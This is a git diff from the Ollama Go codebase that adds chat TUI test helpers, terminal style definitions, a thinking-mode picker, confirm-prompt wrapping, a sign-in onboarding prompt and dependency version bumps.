Client: chatTestClient{},
|
||||
MultiModal: true,
|
||||
},
|
||||
}
|
||||
|
||||
updated, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune("describe " + fp), Paste: true})
|
||||
m = updated.(chatModel)
|
||||
updated, _ = m.Update(tea.KeyMsg{Type: tea.KeySpace})
|
||||
m = updated.(chatModel)
|
||||
updated, _ = m.Update(tea.KeyMsg{Type: tea.KeyBackspace, Alt: true})
|
||||
m = updated.(chatModel)
|
||||
|
||||
if got := string(m.input); got != "describe " {
|
||||
t.Fatalf("input after word backspace = %q, want image placeholder removed", got)
|
||||
}
|
||||
if got := len(m.inputAttachments); got != 0 {
|
||||
t.Fatalf("input attachments after word backspace = %d, want 0", got)
|
||||
}
|
||||
}
|
||||
|
||||
func writeTestPNG(t *testing.T) string {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "dragged image.png")
|
||||
data := make([]byte, 600)
|
||||
copy(data, []byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test image: %v", err)
|
||||
}
|
||||
return fp
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,187 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"regexp"
|
||||
"slices"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
agentstore "github.com/ollama/ollama/agent/store"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type chatTestTool struct{}
|
||||
|
||||
type chatTestClient struct{}
|
||||
|
||||
type chatCaptureClient struct {
|
||||
requests []*api.ChatRequest
|
||||
}
|
||||
|
||||
type chatShowTestClient struct {
|
||||
chatTestClient
|
||||
resp *api.ShowResponse
|
||||
req *api.ShowRequest
|
||||
}
|
||||
|
||||
type chatResumeTestStore struct {
|
||||
chats []agentstore.ChatSummary
|
||||
byID map[string]*agentstore.AgentChat
|
||||
prompts []string
|
||||
setModels map[string]string
|
||||
setModelErr error
|
||||
}
|
||||
|
||||
type chatTestCompactor struct {
|
||||
result coreagent.CompactionResult
|
||||
err error
|
||||
progress []int
|
||||
request coreagent.CompactionRequest
|
||||
}
|
||||
|
||||
func (chatTestClient) Chat(ctx context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
|
||||
if err := ctx.Err(); err != nil {
|
||||
return err
|
||||
}
|
||||
return fn(api.ChatResponse{
|
||||
Message: api.Message{Role: "assistant", Content: "ok"},
|
||||
Done: true,
|
||||
})
|
||||
}
|
||||
|
||||
func (c *chatCaptureClient) Chat(ctx context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
|
||||
if err := ctx.Err(); err != nil {
|
||||
return err
|
||||
}
|
||||
c.requests = append(c.requests, req)
|
||||
return fn(api.ChatResponse{
|
||||
Message: api.Message{Role: "assistant", Content: "ok"},
|
||||
Done: true,
|
||||
})
|
||||
}
|
||||
|
||||
func (c *chatShowTestClient) Show(ctx context.Context, req *api.ShowRequest) (*api.ShowResponse, error) {
|
||||
if err := ctx.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c.req = req
|
||||
if c.resp != nil {
|
||||
return c.resp, nil
|
||||
}
|
||||
return &api.ShowResponse{}, nil
|
||||
}
|
||||
|
||||
func (s *chatResumeTestStore) EnsureChat(context.Context, string, string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *chatResumeTestStore) AppendAgentMessage(context.Context, string, api.Message, string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *chatResumeTestStore) UpdateLastAgentMessage(context.Context, string, api.Message, string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *chatResumeTestStore) SetChatModel(_ context.Context, chatID string, model string) error {
|
||||
if s.setModelErr != nil {
|
||||
return s.setModelErr
|
||||
}
|
||||
if s.setModels == nil {
|
||||
s.setModels = map[string]string{}
|
||||
}
|
||||
s.setModels[chatID] = model
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *chatResumeTestStore) ListChats(context.Context, int) ([]agentstore.ChatSummary, error) {
|
||||
return slices.Clone(s.chats), nil
|
||||
}
|
||||
|
||||
func (s *chatResumeTestStore) AgentChat(_ context.Context, id string) (*agentstore.AgentChat, error) {
|
||||
chat, ok := s.byID[id]
|
||||
if !ok {
|
||||
return nil, sql.ErrNoRows
|
||||
}
|
||||
out := *chat
|
||||
out.Messages = slices.Clone(chat.Messages)
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
func (s *chatResumeTestStore) ListUserMessages(context.Context, int) ([]string, error) {
|
||||
return slices.Clone(s.prompts), nil
|
||||
}
|
||||
|
||||
func (c *chatTestCompactor) MaybeCompact(_ context.Context, req coreagent.CompactionRequest) (coreagent.CompactionResult, error) {
|
||||
c.request = req
|
||||
for _, tokens := range c.progress {
|
||||
if req.Progress != nil {
|
||||
req.Progress(coreagent.CompactionProgress{Tokens: tokens})
|
||||
}
|
||||
}
|
||||
return c.result, c.err
|
||||
}
|
||||
|
||||
func nextChatMsg(t *testing.T, ch <-chan tea.Msg) tea.Msg {
|
||||
t.Helper()
|
||||
select {
|
||||
case msg, ok := <-ch:
|
||||
if !ok {
|
||||
t.Fatal("message channel closed")
|
||||
}
|
||||
return msg
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("timed out waiting for chat message")
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func (chatTestTool) Name() string {
|
||||
return "fake_tool"
|
||||
}
|
||||
|
||||
func (chatTestTool) Description() string {
|
||||
return "does test work"
|
||||
}
|
||||
|
||||
func (chatTestTool) Schema() api.ToolFunction {
|
||||
return api.ToolFunction{
|
||||
Name: "fake_tool",
|
||||
Description: "does test work",
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (chatTestTool) Execute(context.Context, coreagent.ToolContext, map[string]any) (coreagent.ToolResult, error) {
|
||||
return coreagent.ToolResult{Content: "ok"}, nil
|
||||
}
|
||||
|
||||
func waitForRunDone(t *testing.T, events <-chan tea.Msg) chatRunDoneMsg {
|
||||
t.Helper()
|
||||
timeout := time.After(2 * time.Second)
|
||||
for {
|
||||
select {
|
||||
case msg, ok := <-events:
|
||||
if !ok {
|
||||
t.Fatal("events closed before run done")
|
||||
}
|
||||
if done, ok := msg.(chatRunDoneMsg); ok {
|
||||
return done
|
||||
}
|
||||
case <-timeout:
|
||||
t.Fatal("timed out waiting for run done")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func stripANSI(s string) string {
|
||||
re := regexp.MustCompile(`\x1b\[[0-9;:]*[A-Za-z]`)
|
||||
return re.ReplaceAllString(s, "")
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package chat
|
||||
|
||||
import "github.com/charmbracelet/lipgloss"
|
||||
|
||||
const (
|
||||
chatAnsiRed = "1"
|
||||
chatAnsiGreen = "2"
|
||||
chatAnsiYellow = "3"
|
||||
chatAnsiBlue = "4"
|
||||
chatAnsiCyan = "6"
|
||||
chatAnsiMuted = "8"
|
||||
)
|
||||
|
||||
var (
|
||||
chatHeaderStyle = lipgloss.NewStyle().
|
||||
Bold(true)
|
||||
|
||||
chatMetaStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiMuted))
|
||||
|
||||
chatNotificationStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color("7"))
|
||||
|
||||
chatUserStyle = lipgloss.NewStyle()
|
||||
|
||||
chatAssistantStyle = lipgloss.NewStyle()
|
||||
|
||||
chatToolStyle = lipgloss.NewStyle()
|
||||
|
||||
chatToolRunningStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiYellow))
|
||||
|
||||
chatToolDoneStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiGreen))
|
||||
|
||||
// chatToolMixedStyle marks a tool group with both succeeded and failed
|
||||
// calls (partial success). Amber/orange is distinct from green (success),
|
||||
// red (failure), and yellow (running).
|
||||
chatToolMixedStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color("208"))
|
||||
|
||||
chatDiffMetaStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiMuted))
|
||||
|
||||
chatDiffFileStyle = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(lipgloss.Color(chatAnsiCyan))
|
||||
|
||||
chatDiffHunkStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiBlue))
|
||||
|
||||
chatDiffAddStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiGreen))
|
||||
|
||||
chatDiffDeleteStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiRed))
|
||||
|
||||
chatErrorStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiRed))
|
||||
|
||||
chatFullAccessStyle = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(lipgloss.Color(chatAnsiRed))
|
||||
|
||||
chatCommandNameStyle = lipgloss.NewStyle()
|
||||
|
||||
chatResumeTextStyle = lipgloss.NewStyle()
|
||||
|
||||
chatResumeTitleStyle = lipgloss.NewStyle().
|
||||
Bold(true)
|
||||
|
||||
chatResumeSelectedStyle = lipgloss.NewStyle().
|
||||
Bold(true)
|
||||
|
||||
chatResumeMetaStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiMuted))
|
||||
|
||||
chatResumeBorderStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiMuted))
|
||||
|
||||
chatHistoryTitleStyle = lipgloss.NewStyle().
|
||||
Bold(true)
|
||||
|
||||
chatHistorySystemRoleStyle = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(lipgloss.Color(chatAnsiMuted))
|
||||
|
||||
chatHistoryUserRoleStyle = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(lipgloss.Color(chatAnsiBlue))
|
||||
|
||||
chatHistoryAssistantRoleStyle = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(lipgloss.Color(chatAnsiYellow))
|
||||
|
||||
chatHistoryToolRoleStyle = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(lipgloss.Color(chatAnsiGreen))
|
||||
|
||||
chatHistoryLabelStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiMuted))
|
||||
|
||||
chatHistoryTextStyle = lipgloss.NewStyle()
|
||||
|
||||
chatHistoryCodeStyle = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color(chatAnsiCyan))
|
||||
|
||||
chatSelectionStyle = lipgloss.NewStyle().
|
||||
Reverse(true)
|
||||
)
|
||||
@@ -0,0 +1,174 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type chatThinkOption struct {
|
||||
value string
|
||||
label string
|
||||
description string
|
||||
}
|
||||
|
||||
type chatThinkPicker struct {
|
||||
options []chatThinkOption
|
||||
cursor int
|
||||
}
|
||||
|
||||
var chatThinkOptions = []chatThinkOption{
|
||||
{value: "auto", label: "auto", description: "use the model default"},
|
||||
{value: "on", label: "on", description: "enable thinking"},
|
||||
{value: "off", label: "off", description: "disable thinking"},
|
||||
{value: "low", label: "low", description: "use low thinking effort"},
|
||||
{value: "medium", label: "medium", description: "use medium thinking effort"},
|
||||
{value: "high", label: "high", description: "use high thinking effort"},
|
||||
{value: "max", label: "max", description: "use maximum thinking effort"},
|
||||
}
|
||||
|
||||
func (m *chatModel) openThinkPicker() (tea.Model, tea.Cmd) {
|
||||
m.thinkPicker = newChatThinkPicker(m.opts.Think)
|
||||
m.status = "think"
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
func newChatThinkPicker(current *api.ThinkValue) *chatThinkPicker {
|
||||
picker := &chatThinkPicker{options: append([]chatThinkOption(nil), chatThinkOptions...)}
|
||||
currentValue := thinkValueLabel(current)
|
||||
for i, option := range picker.options {
|
||||
if option.value == currentValue {
|
||||
picker.cursor = i
|
||||
break
|
||||
}
|
||||
}
|
||||
return picker
|
||||
}
|
||||
|
||||
func (m chatModel) updateThinkPicker(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
case tea.KeyCtrlC, tea.KeyEsc:
|
||||
m.thinkPicker = nil
|
||||
m.status = "ready"
|
||||
case tea.KeyEnter:
|
||||
return m.selectThinkOption()
|
||||
case tea.KeyUp:
|
||||
m.thinkPicker.move(-1)
|
||||
case tea.KeyDown:
|
||||
m.thinkPicker.move(1)
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (p *chatThinkPicker) move(delta int) {
|
||||
if p == nil || len(p.options) == 0 || delta == 0 {
|
||||
return
|
||||
}
|
||||
p.cursor = clamp(p.cursor+delta, 0, len(p.options)-1)
|
||||
}
|
||||
|
||||
func (p *chatThinkPicker) selected() (chatThinkOption, bool) {
|
||||
if p == nil || len(p.options) == 0 {
|
||||
return chatThinkOption{}, false
|
||||
}
|
||||
return p.options[clamp(p.cursor, 0, len(p.options)-1)], true
|
||||
}
|
||||
|
||||
func (m chatModel) selectThinkOption() (tea.Model, tea.Cmd) {
|
||||
option, ok := m.thinkPicker.selected()
|
||||
if !ok {
|
||||
return m, nil
|
||||
}
|
||||
m.thinkPicker = nil
|
||||
return m.applyThinkValue(option.value)
|
||||
}
|
||||
|
||||
func (m *chatModel) handleThinkCommand(value string) (tea.Model, tea.Cmd) {
|
||||
return m.applyThinkValue(value)
|
||||
}
|
||||
|
||||
func (m *chatModel) handleLegacySetThinkCommand(input string) (tea.Model, tea.Cmd) {
|
||||
value := strings.TrimSpace(strings.TrimPrefix(input, "/set think"))
|
||||
if value == "" {
|
||||
value = "on"
|
||||
}
|
||||
return m.applyThinkValue(value)
|
||||
}
|
||||
|
||||
func (m *chatModel) applyThinkValue(value string) (tea.Model, tea.Cmd) {
|
||||
think, label, err := parseThinkValue(value)
|
||||
if err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: err.Error(), err: err.Error()}))
|
||||
m.status = "error"
|
||||
return *m, nil
|
||||
}
|
||||
m.opts.Think = think
|
||||
m.status = "think " + label
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
func parseThinkValue(value string) (*api.ThinkValue, string, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(value)) {
|
||||
case "", "auto", "default", "unset":
|
||||
return nil, "auto", nil
|
||||
case "on", "true", "think", "thinking":
|
||||
return &api.ThinkValue{Value: true}, "on", nil
|
||||
case "off", "false", "nothink", "no-think":
|
||||
return &api.ThinkValue{Value: false}, "off", nil
|
||||
case "low", "medium", "high", "max":
|
||||
value = strings.ToLower(strings.TrimSpace(value))
|
||||
return &api.ThinkValue{Value: value}, value, nil
|
||||
default:
|
||||
return nil, "", fmt.Errorf("Usage: /think [auto|on|off|low|medium|high|max]")
|
||||
}
|
||||
}
|
||||
|
||||
func thinkValueLabel(value *api.ThinkValue) string {
|
||||
if value == nil || value.Value == nil {
|
||||
return "auto"
|
||||
}
|
||||
switch v := value.Value.(type) {
|
||||
case bool:
|
||||
if v {
|
||||
return "on"
|
||||
}
|
||||
return "off"
|
||||
case string:
|
||||
return strings.ToLower(v)
|
||||
default:
|
||||
return "auto"
|
||||
}
|
||||
}
|
||||
|
||||
func (m chatModel) renderThinkPicker(width int) string {
|
||||
picker := m.thinkPicker
|
||||
if picker == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(chatResumeTitleStyle.Render("Thinking mode"))
|
||||
b.WriteString("\n\n")
|
||||
for i, option := range picker.options {
|
||||
selected := i == picker.cursor
|
||||
if selected {
|
||||
b.WriteString(chatResumeSelectedStyle.Render("› " + option.label))
|
||||
} else {
|
||||
b.WriteString(" ")
|
||||
b.WriteString(chatResumeTextStyle.Render(option.label))
|
||||
}
|
||||
b.WriteByte('\n')
|
||||
b.WriteString(chatResumeMetaStyle.Render(" " + option.description))
|
||||
b.WriteByte('\n')
|
||||
if i < len(picker.options)-1 {
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
|
||||
b.WriteString("\n")
|
||||
b.WriteString(chatResumeMetaStyle.Render("↑/↓ move • enter select • esc cancel"))
|
||||
return b.String()
|
||||
}
|
||||
+32
-5
@@ -2,6 +2,7 @@ package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
@@ -25,6 +26,7 @@ type confirmModel struct {
|
||||
confirmed bool
|
||||
cancelled bool
|
||||
width int
|
||||
plain bool
|
||||
}
|
||||
|
||||
type ConfirmOptions = launch.ConfirmOptions
|
||||
@@ -83,16 +85,40 @@ func (m confirmModel) View() string {
|
||||
noBtn = confirmActiveStyle.Render(" " + noLabel + " ")
|
||||
}
|
||||
|
||||
s := selectorTitleStyle.Render(m.prompt) + "\n\n"
|
||||
prompt := renderConfirmPrompt(m.prompt, m.width, m.plain)
|
||||
s := prompt + "\n\n"
|
||||
s += " " + yesBtn + " " + noBtn + "\n\n"
|
||||
s += selectorHelpStyle.Render("←/→ navigate • enter confirm • esc cancel")
|
||||
s += renderConfirmHelp(m.width)
|
||||
|
||||
if m.width > 0 {
|
||||
return lipgloss.NewStyle().MaxWidth(m.width).Render(s)
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func renderConfirmPrompt(prompt string, width int, plain bool) string {
|
||||
lines := []string{prompt}
|
||||
if width > 0 {
|
||||
lines = wrapText(prompt, width)
|
||||
}
|
||||
if plain {
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
for i, line := range lines {
|
||||
lines[i] = selectorTitleStyle.Render(line)
|
||||
}
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
func renderConfirmHelp(width int) string {
|
||||
help := "←/→ navigate • enter confirm • esc cancel"
|
||||
lines := []string{help}
|
||||
if width > 0 {
|
||||
lines = wrapText(help, width)
|
||||
}
|
||||
for i, line := range lines {
|
||||
lines[i] = selectorHelpStyle.Render(line)
|
||||
}
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
// RunConfirm shows a bubbletea yes/no confirmation prompt.
|
||||
// Returns true if the user confirmed, false if cancelled.
|
||||
func RunConfirm(prompt string) (bool, error) {
|
||||
@@ -116,6 +142,7 @@ func RunConfirmWithOptions(prompt string, options ConfirmOptions) (bool, error)
|
||||
yesLabel: yesLabel,
|
||||
noLabel: noLabel,
|
||||
yes: true, // default to yes
|
||||
plain: options.PlainPrompt,
|
||||
}
|
||||
|
||||
p := tea.NewProgram(m)
|
||||
|
||||
@@ -22,6 +22,34 @@ func TestConfirmModel_View_ContainsPrompt(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestConfirmModel_View_PlainPromptDoesNotStylePrompt(t *testing.T) {
|
||||
m := confirmModel{prompt: "Sign in?", yes: true, plain: true}
|
||||
got := m.View()
|
||||
promptBlock := strings.SplitN(got, "\n\n", 2)[0]
|
||||
if strings.Contains(promptBlock, "\x1b[") {
|
||||
t.Fatalf("plain prompt should not include ANSI styling: %q", promptBlock)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConfirmModel_View_WrapsPromptToWidth(t *testing.T) {
|
||||
m := confirmModel{
|
||||
prompt: "Sign in to use web search and cloud models with Ollama, Claude Code, OpenClaw, Hermes and more?\n\nYou can keep using local models without signing in.",
|
||||
yes: true,
|
||||
width: 52,
|
||||
plain: true,
|
||||
}
|
||||
|
||||
got := stripANSI(m.View())
|
||||
if !strings.Contains(got, "Hermes and more?") {
|
||||
t.Fatalf("wrapped prompt lost trailing text:\n%s", got)
|
||||
}
|
||||
for _, line := range strings.Split(got, "\n") {
|
||||
if len(line) > m.width {
|
||||
t.Fatalf("line width = %d, want <= %d: %q\n%s", len(line), m.width, line, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestConfirmModel_View_ContainsButtons(t *testing.T) {
|
||||
m := confirmModel{prompt: "Download?", yes: true}
|
||||
got := m.View()
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
package tui
|
||||
|
||||
// RunAgentSignInOnboarding asks whether the user wants to sign in before
|
||||
// starting the root agent flow.
|
||||
func RunAgentSignInOnboarding() (bool, error) {
|
||||
return RunConfirmWithOptions(
|
||||
"Sign in to use web search and cloud models with Ollama, Claude Code, OpenClaw, Hermes and more?\n\nYou can keep using local models without signing in.",
|
||||
ConfirmOptions{
|
||||
YesLabel: "Sign in",
|
||||
NoLabel: "Not now",
|
||||
PlainPrompt: true,
|
||||
},
|
||||
)
|
||||
}
|
||||
+1
-1
@@ -194,7 +194,7 @@ func renderSignIn(modelName, signInURL string, spinner, width int) string {
|
||||
|
||||
var s strings.Builder
|
||||
|
||||
fmt.Fprintf(&s, "To use %s, please sign in.\n\n", selectorSelectedItemStyle.Render(modelName))
|
||||
fmt.Fprintf(&s, "To use %s, please sign in.\n\n", modelName)
|
||||
|
||||
s.WriteString("Navigate to:\n")
|
||||
s.WriteString(urlWrap.Render(urlColor.Render(signInURL)))
|
||||
|
||||
@@ -18,6 +18,14 @@ func TestRenderSignIn_ContainsModelName(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderSignIn_FirstLineIsPlain(t *testing.T) {
|
||||
got := renderSignIn("glm-4.7:cloud", "https://example.com/signin", 0, 80)
|
||||
firstLine := strings.SplitN(got, "\n", 2)[0]
|
||||
if strings.Contains(firstLine, "\x1b[") {
|
||||
t.Fatalf("sign-in heading should not include ANSI styling: %q", firstLine)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderSignIn_ContainsURL(t *testing.T) {
|
||||
url := "https://ollama.com/connect?key=abc123"
|
||||
got := renderSignIn("test:cloud", url, 0, 120)
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
package tui
|
||||
|
||||
import "regexp"
|
||||
|
||||
func stripANSI(s string) string {
|
||||
re := regexp.MustCompile(`\x1b\[[0-9;:]*[A-Za-z]`)
|
||||
return re.ReplaceAllString(s, "")
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/mattn/go-runewidth"
|
||||
)
|
||||
|
||||
func wrapText(text string, width int) []string {
|
||||
if width <= 0 {
|
||||
return strings.Split(text, "\n")
|
||||
}
|
||||
var lines []string
|
||||
for _, line := range strings.Split(text, "\n") {
|
||||
for runewidth.StringWidth(line) > width {
|
||||
cut := textDisplayWidthCut(line, width)
|
||||
lines = append(lines, line[:cut])
|
||||
line = line[cut:]
|
||||
}
|
||||
lines = append(lines, line)
|
||||
}
|
||||
return lines
|
||||
}
|
||||
|
||||
func textDisplayWidthCut(line string, width int) int {
|
||||
if width <= 0 {
|
||||
return 0
|
||||
}
|
||||
used := 0
|
||||
for index, r := range line {
|
||||
w := runewidth.RuneWidth(r)
|
||||
if used+w > width {
|
||||
if index == 0 {
|
||||
return len(string(r))
|
||||
}
|
||||
return index
|
||||
}
|
||||
used += w
|
||||
}
|
||||
return len(line)
|
||||
}
|
||||
+2
-2
@@ -48,8 +48,8 @@ type menuItem struct {
|
||||
const pinnedIntegrationCount = 4
|
||||
|
||||
var runModelMenuItem = menuItem{
|
||||
title: "Chat with a model",
|
||||
description: "Start an interactive chat with a model",
|
||||
title: "Chat and Code",
|
||||
description: "Ollama's built-in agent to chat, code, and do work",
|
||||
isRunModel: true,
|
||||
}
|
||||
|
||||
|
||||
+4
-1
@@ -140,11 +140,14 @@ func TestMenuRendersPinnedItemsAndMore(t *testing.T) {
|
||||
}
|
||||
|
||||
view := menu.View()
|
||||
for _, want := range []string{"Chat with a model", "Launch Claude Code", "Launch Hermes Agent", "Launch OpenClaw", "More..."} {
|
||||
for _, want := range []string{"Chat and Code", "Launch Claude Code", "Launch Hermes Agent", "Launch OpenClaw", "More..."} {
|
||||
if !strings.Contains(view, want) {
|
||||
t.Fatalf("expected menu view to contain %q\n%s", want, view)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(view, "Ollama's built-in agent to chat, code, and do work") {
|
||||
t.Fatalf("expected menu view to contain agent description\n%s", view)
|
||||
}
|
||||
if findMenuCursorByIntegration(menu.items, "codex-app") != -1 && !strings.Contains(view, "Launch Codex App") {
|
||||
t.Fatalf("expected menu view to contain Codex App\n%s", view)
|
||||
}
|
||||
|
||||
@@ -22,12 +22,12 @@ require (
|
||||
require (
|
||||
github.com/agnivade/levenshtein v1.1.1
|
||||
github.com/charmbracelet/bubbletea v1.3.10
|
||||
github.com/charmbracelet/lipgloss v1.1.0
|
||||
github.com/charmbracelet/lipgloss v1.1.1-0.20250404203927-76690c660834
|
||||
github.com/d4l3k/go-bfloat16 v0.0.0-20211005043715-690c3bdd05f1
|
||||
github.com/dlclark/regexp2 v1.11.5
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha
|
||||
github.com/klauspost/compress v1.18.3
|
||||
github.com/mattn/go-runewidth v0.0.16
|
||||
github.com/mattn/go-runewidth v0.0.17
|
||||
github.com/nlpodyssey/gopickle v0.3.0
|
||||
github.com/pdevine/tensor v0.0.0-20240510204454-f88f4562727c
|
||||
github.com/pelletier/go-toml/v2 v2.2.2
|
||||
@@ -49,8 +49,8 @@ require (
|
||||
github.com/buger/jsonparser v1.1.1 // indirect
|
||||
github.com/bytedance/sonic/loader v0.1.1 // indirect
|
||||
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
|
||||
github.com/charmbracelet/x/ansi v0.10.1 // indirect
|
||||
github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd // indirect
|
||||
github.com/charmbracelet/x/ansi v0.10.2 // indirect
|
||||
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
|
||||
github.com/charmbracelet/x/term v0.2.1 // indirect
|
||||
github.com/chewxy/hm v1.0.0 // indirect
|
||||
github.com/chewxy/math32 v1.11.0 // indirect
|
||||
@@ -60,8 +60,8 @@ require (
|
||||
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect
|
||||
github.com/gogo/protobuf v1.3.2 // indirect
|
||||
github.com/google/flatbuffers v24.3.25+incompatible // indirect
|
||||
github.com/kr/text v0.2.0 // indirect
|
||||
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
|
||||
github.com/kr/pretty v0.3.1 // indirect
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0 // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-localereader v0.0.1 // indirect
|
||||
github.com/mattn/go-pointer v0.0.1 // indirect
|
||||
@@ -71,6 +71,7 @@ require (
|
||||
github.com/pkg/errors v0.9.1 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/rivo/uniseg v0.4.7 // indirect
|
||||
github.com/rogpeppe/go-internal v1.14.1 // indirect
|
||||
github.com/tkrajina/go-reflector v0.5.5 // indirect
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
|
||||
github.com/xtgo/set v1.0.0 // indirect
|
||||
@@ -96,7 +97,7 @@ require (
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||
github.com/modern-go/reflect2 v1.0.2 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/spf13/pflag v1.0.5
|
||||
github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
|
||||
github.com/ugorji/go/codec v1.2.12 // indirect
|
||||
golang.org/x/arch v0.8.0 // indirect
|
||||
|
||||
@@ -30,12 +30,12 @@ github.com/charmbracelet/bubbletea v1.3.10 h1:otUDHWMMzQSB0Pkc87rm691KZ3SWa4KUlv
|
||||
github.com/charmbracelet/bubbletea v1.3.10/go.mod h1:ORQfo0fk8U+po9VaNvnV95UPWA1BitP1E0N6xJPlHr4=
|
||||
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc h1:4pZI35227imm7yK2bGPcfpFEmuY1gc2YSTShr4iJBfs=
|
||||
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc/go.mod h1:X4/0JoqgTIPSFcRA/P6INZzIuyqdFY5rm8tb41s9okk=
|
||||
github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY=
|
||||
github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30=
|
||||
github.com/charmbracelet/x/ansi v0.10.1 h1:rL3Koar5XvX0pHGfovN03f5cxLbCF2YvLeyz7D2jVDQ=
|
||||
github.com/charmbracelet/x/ansi v0.10.1/go.mod h1:3RQDQ6lDnROptfpWuUVIUG64bD2g2BgntdxH0Ya5TeE=
|
||||
